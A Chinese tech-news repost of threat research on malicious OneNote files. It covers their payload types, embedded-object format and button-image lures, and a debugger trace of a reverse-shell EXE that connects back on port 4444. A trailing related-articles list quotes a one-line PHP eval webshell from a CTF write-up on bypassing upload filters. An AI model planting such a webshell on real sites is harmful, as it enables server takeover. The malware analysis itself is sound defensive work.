OneNote 作为恶意软件分发新渠道持续增长

news2024/11/24 8:59:39

目前,Office 文件已经默认禁用宏代码,攻击者开始转向利用其他微软的软件产品来进行恶意 Payload 投递。默认情况下,OneNote 应用也包含在 Office 2019 和 Microsoft 365 软件中,所以 OneNote 文件越来越受到攻击者的青睐。如果有人意外打开恶意 OneNote 文件,就会触发加载恶意 Payload。研究人员发现攻击者在 OneNote 中嵌入恶意脚本或二进制文件,与传统宏代码相比更加灵活。

背景

Microsoft OneNote 是一个数字笔记应用程序,是 Microsoft Office 套件的一部分。OneNote 文件本质上是数字笔记本,其中可以存储各种类型的信息。Microsoft OneNote 还支持用户嵌入外部文件,使用户能够存储视频、图片和可执行文件。当然,微软也阻止某些特定扩展名的嵌入对象,这些扩展名的文件被微软认为是危险的。

攻击者经常通过植入 Payload 来滥用嵌入对象的功能,恶意 OneNote 文件也总是将自身伪装成合法笔记,包含各类图片和按钮。攻击者使用图片来吸引受害者的注意力,攻击者期望毫无戒心的人点击按钮启动恶意 Payload。这种投递方式在 Payload 发送时很受欢迎,利用了人们对合法笔记应用程序的信任。

以下为三种不同类型的恶意 OneNote 文件,包含了不同类型的嵌入图片和按钮。通过将鼠标悬停在虚假按钮上,就可以看到 OneNote 文件中植入的 Payload 位置和类型。

1716881867_665589cbd646fbf62fc30.png!small?1716881867367

示例 OneNote 文件

恶意 OneNote 文件要求受害者点击查看按钮以查看“受保护”的文档,点击后即可执行恶意 VBScript 文件。

1716881885_665589dd5d09313b70837.png!small?1716881885728

示例 OneNote 文件

1716881906_665589f209ad615b80fd4.png!small?1716881906756

示例 OneNote 文件

恶意 OneNote 文件中内嵌虚假按钮,这些按钮引诱受害者执行嵌入的 EXE 文件与 Office 97-2003 文件。

方法论

攻击者主要滥用 OneNote 文件进行恶意 Payload 投递,倾向于嵌入特定类型的 Payload:

  • JavaScript
  • VBScript
  • PowerShell
  • HTML(HTA)

尽管文件类型不同,但这些 Payload 通常表现出了相似的行为。恶意 OneNote 文件的明显特征是存在嵌入对象,尽管良性 OneNote 文件也可以包含嵌入对象,但恶意 OneNote 文件几乎总是包含嵌入对象。

微软官方表示,OneNote 中嵌入的文件以 GUID 进行标记,如 {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC}。该 GUID 表明存在 FileDataStoreObject 对象,GUID 后紧跟着的是文件的大小。

嵌入的文件在 GUID 的 20 字节后,与定义的大小一样长。如下所示,框一为嵌入对象的 GUID 标记、框二为嵌入对象的大小、框三为实际嵌入的对象。

1716881926_66558a06b71c895087fbf.png!small?1716881926222

嵌入对象

Payload 类型

根据在野攻击统计,攻击者主要使用以下七种类型的文件作为恶意 OneNote 的 Payload:

  • PowerShell
  • VBScript
  • Batch
  • HTA
  • Office 97-2003
  • EXE
  • JavaScript

1716881959_66558a272996d9a276264.png!small?1716881960766

Payload 类型分布

每种 Payload 的平均大小如下所示:

1716881974_66558a36e9ca8eba7d463.png!small?1716881976083

平均文件大小

较大的 Payload 往往功能更强大,但攻击者并不经常使用这么大的文件,这会显著增加 OneNote 文件的大小。攻击者肯定倾向于选择更小的文件尺寸,这样可以在投递过程中减少怀疑。

嵌入图片

恶意 OneNote 文件会使用看起来像按钮的图片引诱受害者启动恶意 Payload,每种文件计算了恶意 OneNote 文件中的图片数量以及中位数。

分析数据集中的六千个样本时,研究人员发现只有三个文件没有内嵌图片,其余 99.9% 的恶意 OneNote 文件中都至少包含一个图片。由于几乎所有文件都包含至少一个图片,可以确认 OneNote 样本主要用于网络钓鱼。

1716882032_66558a70eadf73667642f.png!small?1716882032365

平均图片数量

如上所示,每种 Payload 文件中图片的中位数为两个,攻击者通常会使用虚假按钮和引人注目的图片来增强网络钓鱼活动的可信度。

内嵌 EXE 文件

业界主要关注的是内嵌 PowerShell 或 HTA 的 OneNote 文件,但嵌入 EXE 的 OneNote 文件较少受到关注。

例如从 OneNote 文件(d48bcca19522af9e11d5ce8890fe0b8daa01f93c95e6a338528892e152a4f63c)中提取到 EXE 文件(92d057720eab41e9c6bb684e834da632ff3d79b1d42e027e761d21967291ca50)。其中 GS:60 证实了研究人员的假设,GS:60 指向 PEB 和 ROR 指令。这表明恶意软件正在对函数使用动态地址解析,并使用哈希进行函数识别。

1716882054_66558a866baf4641b257c.png!small?1716882054141

恶意样本

为了了解 Shellcode 并确定动态加载库,通过 x64dbg 进行调试。可以发现,循环中一直重复调用 loc_140004021 函数的一个断点,如下所示:

1716882070_66558a96349b82f66c015.png!small?1716882069923

调试过程

WSAStringToAddressA 函数与 WSASocketW 函数表明,Shellcode 正在通过网络传输数据。

1716882086_66558aa615569ce871bb4.png!small?1716882086281

WSAStringToAddressA 函数

1716882098_66558ab2d3381b44442cc.png!small?1716882099080

WSASpclertW 函数

反向 TCP Shell 是最常见的 Shellcode 类型,在 ws2_32.dll 中设置了断点来确定是否调用了特定函数。发现调用时,拦截传递的参数,通常是 IP 地址与端口号。

1716882113_66558ac1a5cd4dd114866.png!small?1716882114354

ws2_32.dll 函数

不出所料,Shellcode 在 connect 函数调用时停止。对 RDX 寄存器的值进行分析后,可以发现 sockaddr_in 结构体如下所示:

1716882136_66558ad87369b0c0fdad5.png!small?1716882136410

sockaddr_in 结构体

研究人员对结构体内容进行了反解:

1716882149_66558ae5202785daf55bb.png!small?1716882148687

解析代码

解析可知,攻击者正在通过 4444 端口进行回连。

1716882160_66558af01e3a7457a1c33.png!small?1716882159539

解析结果

结论

OneNote 作为新兴攻击媒介,比想象中更受欢迎。除了基于脚本的 Downloader 以外,还可以内嵌可执行的载荷。与其他文件类型相同,攻击者也可以使用其进行横向移动。用户应该考虑阻止 OneNote 文件中特定扩展名的内嵌载荷被执行,防止用户掉入攻击者的陷阱。

参考来源

Unit42

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1834507.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

调度算法-内存页面置换算法

缺⻚异常(缺⻚中断) 与⼀般中断的主要区别在于: 缺⻚中断在指令执⾏「期间」产⽣和处理中断信号,⽽⼀般中断在⼀条指令执⾏「完成」后检查和处理中断信号。缺⻚中断返回到该指令的开始重新执⾏「该指令」,⽽⼀般中断返…

如何完美解决 Oracle Database 19c 安装程序 - 第7步(共8步)卡住,半小时都不动

🚀 如何完美解决 Oracle Database 19c 安装程序 - 第7步(共8步)卡住,半小时都不动 摘要 在安装 Oracle Database 19c 时,很多用户会在第7步(共8步)遇到卡住的问题,尤其是安装程序长…

ESP32蓝牙串口通讯

文章目录 一、前言二、代码三、运行 一、前言 ESP32支持经典蓝牙和低功耗蓝牙(BLE),经典蓝牙可在计算机上模拟出一个串口,使得ESP32可以以串口的方式和计算机通信。 二、代码 #include "BluetoothSerial.h"String device_name …

Upload-Labs-Linux1 使用 一句话木马

解题步骤&#xff1a; 1.新建一个php文件&#xff0c;编写内容&#xff1a; <?php eval($_REQUEST[123]) ?> 2.将编写好的php文件上传&#xff0c;但是发现被阻止&#xff0c;网站只能上传图片文件。 3.解决方法&#xff1a; 将php文件改为图片文件&#xff08;例…

目标检测顶会新成果!20个突破性方法,更高性能,更强理解与分析能力!

【目标检测】在近年来的深度学习领域中备受关注&#xff0c;它通过识别和定位图像中的目标对象&#xff0c;提升了模型在图像理解和分析方面的能力。目标检测技术在自动驾驶、安防监控和医疗影像分析等任务中取得了显著成果。其独特的方法和卓越的表现使其成为研究热点之一。 为…

面试经典150题

打家劫舍 class Solution { public:int rob(vector<int>& nums) {int n nums.size();if(n 1){return nums[0];}vector<int> dp(n, 0);dp[0] nums[0];//有一间房可以偷//有两间房可以偷if(nums[1] > nums[0]){dp[1] nums[1];}else{dp[1] nums[0];}for …

MySQL----InooDB行级锁、间隙锁

行级锁 行锁&#xff0c;也称为记录锁&#xff0c;顾名思义就是在记录上加的锁。 注意&#xff1a; InnoDB行锁是通过给索引上的索引项加锁来实现的&#xff0c;而不是给表的行记录加锁实现的&#xff0c;这就意味着只有通过索引条件检索数据&#xff0c;InnoDB才使用行级锁…

电商API接口是什么意思?有什么作用?

电商API接口是电子商务领域中一种技术解决方案&#xff0c;它允许不同的软件系统之间进行交互和数据交换。 在电商场景下&#xff0c;电商API接口可以实现的功能非常丰富&#xff0c;例如&#xff1a; 商品管理&#xff1a;获取商品列表、商品详情、搜索商品、上下架商品等&a…

vue页面前端初始化表格数据时报错TypeError: data.reduce is not a function

这是初始化表格数据时报的错 。 [Vue warn]: Invalid prop: type check failed for prop "data". Expected Array, got Object found in---> <ElTable> at packages/table/src/table.vue<List> at src/views/org/List.vue<Catalogue> at src/v…

lombok不起作用排查

1.idea中lombok插件已安装并启用 2.idea中annotation processors已勾选 3.项目中gradle或maven已引入lombok依赖 但提示还是找不到get,set方法。 还需要启用annotationProcessor 重点是annotationProcessor的配置&#xff0c;没有配置这个才是问题出现的关键&#xff01;&…

四川古力未来科技有限公司抖音小店解锁电商新机遇

在数字化浪潮席卷全球的今天&#xff0c;电商行业正以前所未有的速度蓬勃发展。四川古力未来科技有限公司紧跟时代步伐&#xff0c;积极拥抱变革&#xff0c;在抖音平台上开设小店&#xff0c;为品牌发展注入了新的活力。那么&#xff0c;四川古力未来科技有限公司抖音小店究竟…

6.S081——CPU调度部分(Xv6中的进程的状态转换)——xv6源码完全解析系列(11)

0.briefly speaking 时隔9个月&#xff0c;我又回来继续更新Xv6内核源码相关的内容了&#xff0c;上次更新之后经历了3个月的秋招&#xff0c;之后紧接着是实验室的中期检查&#xff0c;之后又是遥遥无期的毕业论文写作和修改&#xff0c;总算到现在有了一些自己的时间来继续做…

Kotlin 实战小记:No-Arg 引用解决 No constructor found的问题

一、问题 新的项目试用一下kotlin, 调用数据库查询数据的时候报了这个问题&#xff1a;org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.executor.ExecutorException: No constructor found in com.neusoft.collect.entity.cm.CmRoom matc…

AMEYA360代理品牌 | 思瑞浦发布高精度12位8通道SAR ADC-TPC502200

聚焦高性能模拟芯片和嵌入式处理器的半导体供应商思瑞浦3PEAK(股票代码&#xff1a;688536)全新推出TPC502200&#xff0c;支持I2C接口的12位8通道SAR ADC。 TPC502200集成了高精度基准源&#xff0c;同时可在极端温度范围(-40C至125C)下稳定工作。TPC502200凭借强大的性能优势…

前端工具篇

在线工具 https://tool.lu/ 程序员工具箱 http://tool.pfan.cn/apitest 配色 https://webkul.github.io/coolhue/ 在线字符串和16进制互转 https://kw360.net/ox2str/ 代码美化截图 https://carbon.now.sh/?bgrgba 菜鸟工具 https://www.jyshare.com/ 文件格式转换 htt…

【Altium】PCB设计中如何设置同一网络的间距规则

【更多软件使用问题请点击亿道电子官方网站】 1、文档目标&#xff1a; 对同一网络的各个元素间设置间距规则 2、应用场景&#xff1a; PCB设计规则中&#xff0c;当对网络设置间距规则时&#xff0c;默认的约束对象是不同的网络之间才生效&#xff0c;在一些特殊情况下&am…

关系模式的规范化设计概述-认识“好”的数据库模式、数据依赖

一、引言 前面学习了关系数据库的基本概念&#xff0c;关系模型的组成要素&#xff0c;关系数据库的标准查询语言SQL 三部分的内容&#xff0c;为了使得关系模式设计能够有一个标准&#xff0c;Codd提出了指导关系模式设计的规范 理论 二、为学生选课数据库添加院系表 1、…

[巨详细]安装HBuilder-X教程

文章目录 下载HBuilder-X点击网址 &#xff0c;打开官网先点击所有产品&#xff0c;再点击HBuilder-X。进入HBuilder-X官网页面点击more&#xff0c;选择适合的版本下载。等待下载打开压缩包&#xff0c;点击HBuilderX.exe选择喜欢的风格关闭该弹窗&#xff0c;选择创建就创建成…

郑州设计资质延续流程:人员社保的审核标准是什么?

郑州设计资质延续流程中&#xff0c;人员社保的审核标准如下&#xff1a; 一、社保缴纳期限 审核标准&#xff1a;人员&#xff08;技术负责人、注册人员等&#xff09;的社保考核期限恢复为3个月。需要提供相关人员至少连续3个月的社保缴纳记录。 二、社保缴纳主体 审核标准…

【Pandas驯化-06】一文搞懂Dataframe中的索引stack、unstack问题

【Pandas驯化-06】一文搞懂Dataframe中的索引stack、unstack问题 本次修炼方法请往下查看 &#x1f308; 欢迎莅临我的个人主页 &#x1f448;这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合&#xff0c;智慧小天地&#xff01; &#x1f387; 相关内容文档获取 微信公…